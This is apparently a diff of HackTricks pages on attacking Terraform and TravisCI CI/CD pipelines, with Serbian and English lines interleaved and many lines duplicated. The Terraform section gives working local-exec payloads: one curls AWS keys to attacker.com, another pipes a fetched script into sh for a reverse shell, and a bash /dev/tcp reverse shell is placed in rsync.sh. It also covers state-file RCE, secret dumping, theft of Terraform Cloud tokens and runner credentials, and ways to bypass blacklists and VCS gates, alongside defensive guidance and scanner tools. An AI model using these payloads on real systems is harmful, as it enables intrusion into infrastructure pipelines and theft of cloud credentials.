Obe pomenute opcije su korisne, ali nisu previše diskretne (druga je diskretnija, ali složenija od prve). Možete izvesti ovaj napad i na još **neupadljiviji način**, prateći ove predloge:
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Umesto dodavanja rev shell direktno u terraform fajl, možete **učitati spoljašnji resurs** koji sadrži rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Možete pronaći rev shell code na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- U spoljnjem resursu, koristite **ref** funkciju da sakrijete **terraform rev shell code in a branch** unutar repoa, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply će biti izvršen da primeni sve izmene; možete ga takođe zloupotrebiti da dobijete RCE injektovanjem **zlonamernog Terraform fajla sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html).\
Samo treba da se postarate da neki payload poput sledećih završi u fajlu `main.tf`:
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Pratite **predloge iz prethodne tehnike** da ovaj napad izvedete na **diskretniji način koristeći eksterne reference**.
## Ispis tajni
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
Možete naterati da se **tajne vrednosti koje koristi terraform ispišu** pokretanjem `terraform apply` tako što ćete u terraform fajl dodati nešto poput:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Zloupotreba Terraform state datoteka
U slučaju da imate write access nad terraform state datotekama ali ne možete da menjate terraform kod, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) daje neke zanimljive opcije za iskorišćavanje te datoteke. Čak i ako biste imali write access nad config files, korišćenje vektora state datoteka je često mnogo prikrivenije, jer ne ostavljate tragove u `git` istoriji.
## Abusing Terraform State Files
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
### RCE in Terraform: config file poisoning
@@ -133,271 +143,296 @@ It is possible to [create a custom provider](https://developer.hashicorp.com/ter
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Zatim, čim se `terraform` izvrši, vaš kod će se pokrenuti.
### Brisanje resursa <a href="#deleting-resources" id="deleting-resources"></a>
Then, as soon as `terraform` gets executed, your code will run.
Postoje 2 načina da uništite resurse:
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
1. **Ubaci resurs sa slučajnim imenom u state file koji pokazuje na pravi resurs koji treba uništiti**
There are 2 ways to destroy resources:
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
Pošto će `terraform` videti da taj resurs ne bi trebalo da postoji, uništiće ga (prateći navedeni realni resource ID). Primer sa prethodne strane:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Izmenite resurs da bude obrisan na način koji onemogućava ažuriranje (tako će biti izbrisan i ponovo kreiran)**
Za EC2 instance, promena tipa instance je dovoljna da terraform izbriše i ponovo kreira instancu.
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
### Zamenite provajdera koji je stavljen na crnu listu
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
Ako naiđete na situaciju u kojoj je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external providera objavljen na https://registry.terraform.io/providers/nazarewk/external/latest. Možete i vi objaviti sopstveni fork ili ponovnu implementaciju.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Zatim možete koristiti `external` kao i obično.
Then you can use `external` as per normal.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
- Preduslovi:
- Ukradite Terraform Cloud token sa developerske mašine. CLI čuva tokene u plaintext-u na `~/.terraform.d/credentials.tfrc.json`.
- Token mora imati pristup ciljnoj organizaciji/workspace-u i najmanje `plan` dozvolu. VCS-backed workspaces blokiraju `apply` iz CLI, ali i dalje dozvoljavaju speculative plans.
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
- Preconditions:
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Discover workspace and VCS settings via the TFC API:
- Otkrivanje workspace i VCS podešavanja putem TFC API-ja:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Pokrenite izvršavanje koda tokom spekulativnog plana koristeći external data source i Terraform Cloud "cloud" block kako biste ciljali VCS-backed workspace:
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Primer rsync.sh za dobijanje reverse shell na TFC runner:
Example rsync.sh to obtain a reverse shell on the TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Pokreni spekulativni plan za izvršavanje programa na ephemeral runner-u:
Run a speculative plan to execute the program on the ephemeral runner:
```bash
terraform init
terraform plan
```
- Enumerate and exfiltrate injected cloud credentials sa runnera. Tokom izvršavanja, TFC injects provider credentials putem fajlova i environment variables:
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Očekivani fajlovi u radnom direktorijumu runner-a:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON konfiguracija)
- `tfc-gcp-token` (kratkotrajni GCP access token)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption konfiguracija)
- `tfc-aws-token` (kratkotrajni token; neke organizacije mogu koristiti statičke ključeve)
- Koristite kratkotrajne kredencijale out-of-band da zaobiđete VCS gates:
Expected files on the runner working directory:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- Use the short-lived credentials out-of-band to bypass VCS gates:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Sa ovim creds, attackers mogu create/modify/destroy resources direktno koristeći native CLIs, zaobilazeći PR-based workflows koji blokiraju `apply` via VCS.
- Odbrambene smernice:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Ograničite `plan` permission na osetljivim VCS-backed workspaces gde je izvodljivo.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
## Kompromitovanje Terraform Cloud
## Compromising Terraform Cloud
### Using a token
Kao **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Krađa ovog tokena omogućava napadaču da se predstavlja kao korisnik u okviru opsega tokena.
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Tada je moguće pokrenuti proizvoljan kod koristeći **`terraform plan`**, kao objašnjeno u prethodnom poglavlju.
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
### Escaping to the cloud
Ako se runner nalazi u nekom cloud okruženju, moguće je dobiti token principala vezanog za runner i koristiti ga izvan kanala (out of band).
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- **AWS files**
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
- **Features:**
- Skeniranje u realnom vremenu za bezbednosne ranjivosti i probleme usklađenosti.
- Integracija sa sistemima za verzionisanje (GitHub, GitLab, Bitbucket).
- Automatski pull requestovi sa ispravkama.
- Detaljni saveti za sanaciju.
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** je alat za statičku analizu koda za infrastructure as code (IaC) i takođe alat za Software Composition Analysis (SCA) za image-ove i open source pakete.
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
Skenera pregledava cloud infrastrukturu postavljenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), или [OpenTofu](https://opentofu.org/) и otkriva security i compliance misconfigurations koristeći skeniranje zasnovano na grafovima.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
Izvodi [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), što je skeniranje open source paketa i image-ova radi pronalaženja Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, na sigurnost i usklađenost fokusiran test okvir za terraform koji omogućava negativno testiranje vaše infrastrukture kao koda.
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
- **usklađenost:** Osigurava da implementirani kod prati sigurnosne standarde i vaše sopstvene prilagođene standarde
- **razvoj vođen ponašanjem (BDD):** Imamo BDD za skoro sve, zašto ne i za IaC?
- **prenosiv:** jednostavno instalirajte iz `pip` ili ga pokrenite preko `docker`. Pogledajte [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** validira vaš kod pre nego što se rasporedi
- **lako za integraciju:** može se pokrenuti u vašem pipeline-u (ili u git hook-ovima) kako bi se osiguralo da su sve implementacije validirane.
- **razdvajanje dužnosti:** možete čuvati testove u drugom repozitorijumu gde je odgovoran poseban tim.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
> [!NOTE]
> Nažalost, ako kod koristi neke providere kojima nemate pristup, nećete moći da izvršite `terraform plan` i pokrenete ovaj alat.
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Prema [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da otkrije potencijalne greške u konfiguraciji.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
- ☁️ Proverava greške u konfiguraciji kod svih glavnih (i nekih manjih) cloud provajdera
- ⛔ Stotine ugrađenih pravila
- 🪆 Skenira module (lokalne i udaljene)
- Analizira HCL izraze i literalne vrednosti
- ↪️ Analizira Terraform funkcije npr. `concat()`
- 🔗 Analizira odnose između Terraform resursa
- 🧰 Kompatibilan sa Terraform CDK
- 🙅 Primenjuje (i obogaćuje) korisnički definisane Rego politike
- 📃 Podržava više izlaznih formata: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Konfigurisano (putem CLI flagova i/ili config fajla)
- ⚡ Veoma brzo — sposoban da brzo skenira ogromne repozitorijume
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:
- Besprekorno skenirate Infrastructure as Code radi pogrešnih konfiguracija.
- Nadzirete postavljenu cloud infrastrukturu zbog promena u konfiguraciji koje uvode posture drift i omogućavate vraćanje na bezbedno stanje.
- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
- Ublažavate rizike pre postavljanja cloud native infrastrukture.
- Nudi fleksibilnost da ga pokrenete lokalno ili integrišete sa vašim CI\CD.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Pronađite sigurnosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvojnom ciklusu vaše infrastrukture kao koda koristeći **KICS** kompanije Checkmarx.
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
**KICS** predstavlja skraćenicu od **K**eeping **I**nfrastructure as **C**ode **S**ecure, open source je i obavezna alatka za svaki cloud-native projekat.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
Prema [**docs**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava:
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
- Besprekorno skeniranje infrastrukture kao koda radi pogrešnih konfiguracija.
- Praćenje provisionirane cloud infrastrukture zbog promena konfiguracije koje uvode posture drift i omogućavanje vraćanja na bezbednu konfiguraciju.
- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
- Ublažavanje rizika pre provisioniranja cloud-native infrastrukture.
- Fleksibilnost za pokretanje lokalno ili integraciju sa vašim CI\CD.
```bash
brew install terrascan
```
## Reference
## References
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Github PR-ovi su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te platforme iz perspektive napadača
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
- Drone
- TeamCity
@@ -11,6 +11,9 @@ Github PR-ovi su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te plat
- Rancher
- Mesosphere
- Radicle
- Bilo koja druga CI/CD platforma...
- Any other CI/CD platform...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,64 +2,67 @@
{{#include ../../banners/hacktricks-training.md}}
## Šta je TravisCI
## What is TravisCI
**Travis CI** je **hostovana** ili na **mestu** **kontinuirana integracija** usluga koja se koristi za izgradnju i testiranje softverskih projekata hostovanih na nekoliko **različitih git platformi**.
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Napadi
## Attacks
### Okidači
### Triggers
Da biste pokrenuli napad, prvo morate znati kako da pokrenete izgradnju. Po defaultu, TravisCI će **pokrenuti izgradnju na push-evima i pull zahtevima**:
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
![](<../../images/image (145).png>)
#### Cron poslovi
#### Cron Jobs
Ako imate pristup web aplikaciji, možete **postaviti cron poslove za pokretanje izgradnje**, što može biti korisno za postizanje postojanosti ili za pokretanje izgradnje:
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
![](<../../images/image (243).png>)
> [!NOTE]
> Izgleda da nije moguće postaviti cron poslove unutar `.travis.yml` prema [ovome](https://github.com/travis-ci/travis-ci/issues/9162).
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
### PR treće strane
### Third Party PR
TravisCI po defaultu onemogućava deljenje env varijabli sa PR-ovima koji dolaze od trećih strana, ali neko bi to mogao omogućiti i tada biste mogli kreirati PR-ove za repozitorij i eksfiltrirati tajne:
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
![](<../../images/image (208).png>)
### Ispumpavanje tajni
### Dumping Secrets
Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-information.md), postoje 2 tipa tajni. **Tajne varijable okruženja** (koje su navedene na web stranici) i **prilagođene enkriptovane tajne**, koje se čuvaju unutar `.travis.yml` datoteke kao base64 (napomena da će obe, kada su sačuvane enkriptovane, završiti kao varijable okruženja na konačnim mašinama).
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
- Da biste **enumerisali tajne** konfigurirane kao **varijable okruženja**, idite na **podešavanja** **projekta** i proverite listu. Međutim, imajte na umu da će sve varijable okruženja projekta postavljene ovde biti prikazane prilikom pokretanja izgradnje.
- Da biste enumerisali **prilagođene enkriptovane tajne**, najbolje što možete učiniti je da **proverite `.travis.yml` datoteku**.
- Da biste **enumerisali enkriptovane datoteke**, možete proveriti za **`.enc` datoteke** u repozitorijumu, za linije slične `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` u konfiguracionoj datoteci, ili za **enkriptovane iv i ključeve** u **varijablama okruženja** kao što su:
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
![](<../../images/image (81).png>)
### TODO:
- Primer izgradnje sa reverznim shell-om koji radi na Windows/Mac/Linux
- Primer izgradnje koja otkriva env base64 kodirane u logovima
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
### TravisCI Enterprise
Ako napadač završi u okruženju koje koristi **TravisCI enterprise** (više informacija o tome šta je to u [**osnovnim informacijama**](basic-travisci-information.md#travisci-enterprise)), moći će da **pokrene izgradnje u Worker-u.** To znači da će napadač moći da se lateralno kreće do tog servera sa kojeg bi mogao da:
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
- pobegne na host?
- kompromituje kubernetes?
- kompromituje druge mašine koje rade u istoj mreži?
- kompromituje nove cloud kredencijale?
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
## Reference
## References
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,45 +1,48 @@
# Osnovne informacije o TravisCI
# Basic TravisCI Information
{{#include ../../banners/hacktricks-training.md}}
## Pristup
## Access
TravisCI se direktno integriše sa različitim git platformama kao što su Github, Bitbucket, Assembla i Gitlab. Pitaće korisnika da da TravisCI dozvole za pristup repozitorijumima koje želi da integriše sa TravisCI.
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
Na primer, u Github-u će tražiti sledeće dozvole:
For example, in Github it will ask for the following permissions:
- `user:email` (samo za čitanje)
- `read:org` (samo za čitanje)
